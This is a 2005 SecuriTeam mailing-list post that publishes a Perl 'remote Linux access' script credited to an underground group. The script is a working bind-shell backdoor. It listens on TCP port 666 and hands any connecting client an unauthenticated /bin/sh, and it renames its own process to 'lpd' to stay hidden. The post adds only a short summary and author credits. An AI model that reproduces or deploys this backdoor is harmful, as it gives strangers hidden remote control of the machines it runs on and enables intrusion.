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[EXPL] Remote Linux Access (Exploit)


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From: SecuriTeam <support@securiteam.com.>
To: list@securiteam.com
Date: 8 Dec 2005 15:52:31 +0200
Subject: [EXPL] Remote Linux Access (Exploit)
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  Remote Linux Access (Exploit)
------------------------------------------------------------------------


SUMMARY

The following exploit opens an arbitrary port and binds it to bash with 
arbitrary permissions, allowing attackers to gain access to remote Linux 
machine.

DETAILS

Exploit:
#!/usr/bin/perl

#Y! Underground Group
#code by:Y4Ho
#We Are :Y4Ho0-Iranvertex-MrPorT-S.s-LordSatan-SirSisili
#Email:info@emperorteam.com
#Email:y4ho0_emperor@yahoo.com
#Homepage:www.emperorteam.com
#tnxto:C0llect0r-Sasan-Shabgard-simorgh.Ev-IHS
#Ex: ./Y!.pl

use Socket;

$port   = 666;
$proto  = getprotobyname('tcp');
$cmd    = "lpd";
$system = '/bin/sh';

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto)
                                        or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
                                        or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
                                        or die "bind: $!";
listen(SERVER, SOMAXCONN)               or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
        open(STDIN, ">&CLIENT");
        open(STDOUT, ">&CLIENT");
        open(STDERR, ">&CLIENT");

        system($system);

        close(STDIN);
        close(STDOUT);
        close(STDERR);
}

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:y4ho0_emperor@yahoo.com.> 
Mr.YaHoO.




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